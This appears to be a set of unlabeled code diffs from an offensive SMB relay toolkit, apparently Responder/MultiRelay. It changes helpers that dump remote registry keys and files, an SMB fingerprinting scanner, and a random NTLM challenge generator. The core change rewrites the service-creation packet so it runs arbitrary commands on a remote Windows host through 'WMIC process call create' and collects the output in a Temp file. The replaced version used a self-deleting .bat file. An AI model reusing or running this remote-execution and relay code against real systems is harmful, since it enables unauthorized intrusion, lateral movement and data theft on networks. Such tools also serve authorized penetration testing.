data = ModifySMBRetCode(data)
#After everything has been cleaned up, we write the output to a file.
WriteOutputToFile(Output, Key+".tmp")
print "[+] The "+Key+" key and its subkeys were saved in: ./relay-dumps/"+Key+".tmp"
WriteOutputToFile(Output, Host[0]+"-"+Key+".tmp")
print "[+] The "+Key+" key and its subkeys were saved in: ./relay-dumps/"+Host[0]+"-"+Key+".tmp"
return data
except:
@@ -1218,7 +1216,7 @@ def GetAfFile(data, s, File, Host):
File = File.replace("/","\\")
data,s,f = SMBOpenFile(File, "C", Host[0], READ, data, s)
data,s,Output = GrabAndRead(f, File, data, s)
WriteOutputToFile(Output, File)
WriteOutputToFile(Output, Host[0]+"-"+File)
print "[+] Done."
return ModifySMBRetCode(data) ##Command was successful, ret true.

View File

@@ -651,6 +651,11 @@ class SMBDCESVCCTLOpenManagerW(Packet):
])
def calculate(self):
#Padding
if len(str(self.fields["MachineName"]))%2==0:
self.fields["MachineNameNull"] = "\x00\x00\x00\x00"
else:
self.fields["MachineNameNull"] = "\x00\x00"
## Convert to UTF-16LE
self.fields["MaxCount"] = struct.pack("<i",len(str(self.fields["MachineName"]))+1)
self.fields["ActualCount"] = struct.pack("<i",len(str(self.fields["MachineName"]))+1)
@@ -677,10 +682,7 @@ class SMBDCESVCCTLCreateService(Packet):
("BinPathMaxCount", "\xb6\x00\x00\x00"),
("BinPathOffset", "\x00\x00\x00\x00"),
("BinPathActualCount", "\xb6\x00\x00\x00"),
("FileName", ""),
("BinPathName", ""),
("BinCMD", ""),
("BintoEnd", ""),
("BinCMDTerminator", "\x00\x00"),
("LoadOrderGroup", "\x00\x00\x00\x00"),
("TagID", "\x00\x00\x00\x00"),
@@ -694,29 +696,13 @@ class SMBDCESVCCTLCreateService(Packet):
])
def calculate(self):
self.fields["BinCMD"] = self.fields["BinCMD"].replace("&", "^&")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace("(", "^(")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace(")", "^)")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace("%", "^%")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace(">", "^>")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace(">", "^>")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace("|", "^|")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace(",", "^,")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace("$", "^$")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace("!", "^!")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace(",", "^,")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace("'", "^'")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace("\"", "^\"")#Filtering
File = "%WINDIR%\\Temp\\"+self.fields["FileName"]
WinTmpPath = "%WINDIR%\\Temp\\Results.txt"
FinalCMD = "del /F /Q "+File+"^&"+self.fields["BinCMD"]+" ^>"+WinTmpPath+" >"+File
#That is: delete the bat file (it's loaded in memory, no pb), echo original cmd into random .bat file, run .bat file.
self.fields["FileName"] = ""#Reset it.
self.fields["BinPathName"] = "%COMSPEC% /C echo "#make sure to escape "&" when using echo.
self.fields["BinCMD"] = FinalCMD
self.fields["BintoEnd"] = "& %COMSPEC% /C call "+File+"&exit"
BinDataLen = str(self.fields["BinPathName"])+str(self.fields["BinCMD"])+str(self.fields["BintoEnd"])
##Run the actual command via WMIC, no need to write/execute from a file.
self.fields["BinCMD"] = "WMIC process call create 'cmd /c ("+self.fields["BinCMD"]+") >"+WinTmpPath+"&exit'"
BinDataLen = str(self.fields["BinCMD"])
## Calculate first
self.fields["BinPathMaxCount"] = struct.pack("<i",len(BinDataLen)+1)
@@ -728,9 +714,8 @@ class SMBDCESVCCTLCreateService(Packet):
## Then convert to UTF-16LE
self.fields["ServiceName"] = self.fields["ServiceName"].encode('utf-16le')
self.fields["DisplayNameID"] = self.fields["DisplayNameID"].encode('utf-16le')
self.fields["BinPathName"] = self.fields["BinPathName"].encode('utf-16le')
self.fields["BinCMD"] = self.fields["BinCMD"].encode('utf-16le')
self.fields["BintoEnd"] = self.fields["BintoEnd"].encode('utf-16le')
class SMBDCESVCCTLOpenService(Packet):
fields = OrderedDict([

View File

@@ -15,19 +15,25 @@
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import re,sys,socket,struct
import datetime
import multiprocessing
from socket import *
from odict import OrderedDict
import optparse
__version__ = "0.5"
__version__ = "0.6"
parser = optparse.OptionParser(usage='python %prog -i 10.10.10.224\nor:\npython %prog -i 10.10.10.0/24', version=__version__, prog=sys.argv[0])
parser.add_option('-i','--ip', action="store", help="Target IP address or class C", dest="TARGET", metavar="10.10.10.224", default=None)
parser.add_option('-g','--grep', action="store_true", dest="Grep", default=False, help="Output it in grepable format")
parser.add_option('-g','--grep', action="store_true", dest="Grep", default=False, help="Output in grepable format")
options, args = parser.parse_args()
if options.TARGET is None:
print "\n-i Mandatory option is missing, please provide a target or target range.\n"
parser.print_help()
exit(-1)
Timeout = 2
Host = options.TARGET
Grep = options.Grep
@@ -49,6 +55,12 @@ def longueur(payload):
length = struct.pack(">i", len(''.join(payload)))
return length
def GetBootTime(data):
Filetime = int(struct.unpack('<q',data)[0])
t = divmod(Filetime - 116444736000000000, 10000000)
time = datetime.datetime.fromtimestamp(t[0])
return time, time.strftime('%Y-%m-%d %H:%M:%S')
class SMBHeader(Packet):
fields = OrderedDict([
("proto", "\xff\x53\x4d\x42"),
@@ -95,12 +107,9 @@ class SMBSessionFingerData(Packet):
("securitybloblength","\x4a\x00"),
("reserved2","\x00\x00\x00\x00"),
("capabilities", "\xd4\x00\x00\xa0"),
("bcc1",""),
("bcc1","\xb1\x00"), #hardcoded len here and hardcoded packet below, no calculation, faster.
("Data","\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28\x0a\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20\x00\x32\x00\x36\x00\x30\x00\x30\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x35\x00\x2e\x00\x31\x00\x00\x00\x00\x00"),
])
def calculate(self):
self.fields["bcc1"] = struct.pack("<i", len(str(self.fields["Data"])))[:2]
##Now Lanman
class SMBHeaderLanMan(Packet):
@@ -119,17 +128,15 @@ class SMBHeaderLanMan(Packet):
("mid", "\x00\x00"),
])
#We grab the domain and hostname from the negotiate protocol answer, since it is in a Lanman dialect format.
class SMBNegoDataLanMan(Packet):
fields = OrderedDict([
("Wordcount", "\x00"),
("Bcc", "\x54\x00"),
("Bcc", "\x0c\x00"),#hardcoded len here and hardcoded packet below, no calculation, faster.
("BuffType","\x02"),
("Dialect", "NT LM 0.12\x00"),
])
def calculate(self):
CalculateBCC = str(self.fields["BuffType"])+str(self.fields["Dialect"])
self.fields["Bcc"] = struct.pack("<h",len(CalculateBCC))
#####################
@@ -149,6 +156,8 @@ def OsNameClientVersion(data):
try:
length = struct.unpack('<H',data[43:45])[0]
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]])
if OsVersion == "Unix":
OsVersion = ClientVersion
return OsVersion, ClientVersion
except:
@@ -157,7 +166,8 @@ def OsNameClientVersion(data):
def GetHostnameAndDomainName(data):
try:
DomainJoined, Hostname = tuple([e.replace('\x00','') for e in data[81:].split('\x00\x00\x00')[:2]])
return Hostname, DomainJoined
Time = GetBootTime(data[60:68])
return Hostname, DomainJoined, Time
except:
return "Could not get Hostname.", "Could not get Domain joined"
@@ -172,7 +182,6 @@ def DomainGrab(Host):
try:
h = SMBHeaderLanMan(cmd="\x72",mid="\x01\x00",flag1="\x00", flag2="\x00\x00")
n = SMBNegoDataLanMan()
n.calculate()
packet0 = str(h)+str(n)
buffer0 = longueur(packet0)+packet0
s.send(buffer0)
@@ -203,7 +212,6 @@ def SmbFinger(Host):
if data[8:10] == "\x72\x00":
head = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00")
t = SMBSessionFingerData()
t.calculate()
packet0 = str(head)+str(t)
buffer1 = longueur(packet0)+packet0
s.send(buffer1)
@@ -214,6 +222,7 @@ def SmbFinger(Host):
return signing, OsVersion, ClientVersion
except:
pass
##################
#run it
def ShowResults(Host):
@@ -226,9 +235,10 @@ def ShowResults(Host):
try:
print "Retrieving information for %s..."%Host[0]
Hostname, DomainJoined = DomainGrab(Host)
Hostname, DomainJoined, Time = DomainGrab(Host)
Signing, OsVer, LanManClient = SmbFinger(Host)
print "SMB signing:", Signing
print "SMB signing:", Signing
print "Server Time:", Time[1]
print "Os version: '%s'\nLanman Client: '%s'"%(OsVer, LanManClient)
print "Machine Hostname: '%s'\nThis machine is part of the '%s' domain\n"%(Hostname, DomainJoined)
except:
@@ -243,9 +253,9 @@ def ShowSmallResults(Host):
return False
try:
Hostname, DomainJoined = DomainGrab(Host)
Hostname, DomainJoined, Time = DomainGrab(Host)
Signing, OsVer, LanManClient = SmbFinger(Host)
Message = "[%s: '%s', domain: '%s', signing:'%s']"%(Host[0], OsVer, DomainJoined, Signing)
Message = "['%s', Os:'%s', Domain:'%s', Signing:'%s', Time:'%s']"%(Host[0], OsVer, DomainJoined, Signing, Time[1])
print Message
except:
pass

View File

@@ -23,6 +23,17 @@ import time
import settings
import datetime
def RandomChallenge():
if settings.Config.NumChal == "random":
from random import getrandbits
NumChal = '%0x' % getrandbits(16 * 4)
Challenge = ''
for i in range(0, len(NumChal),2):
Challenge += NumChal[i:i+2].decode("hex")
return Challenge
else:
return settings.Config.Challenge
def HTTPCurrentDate():
Date = datetime.datetime.utcnow().strftime('%a, %d %b %Y %H:%M:%S GMT')
return Date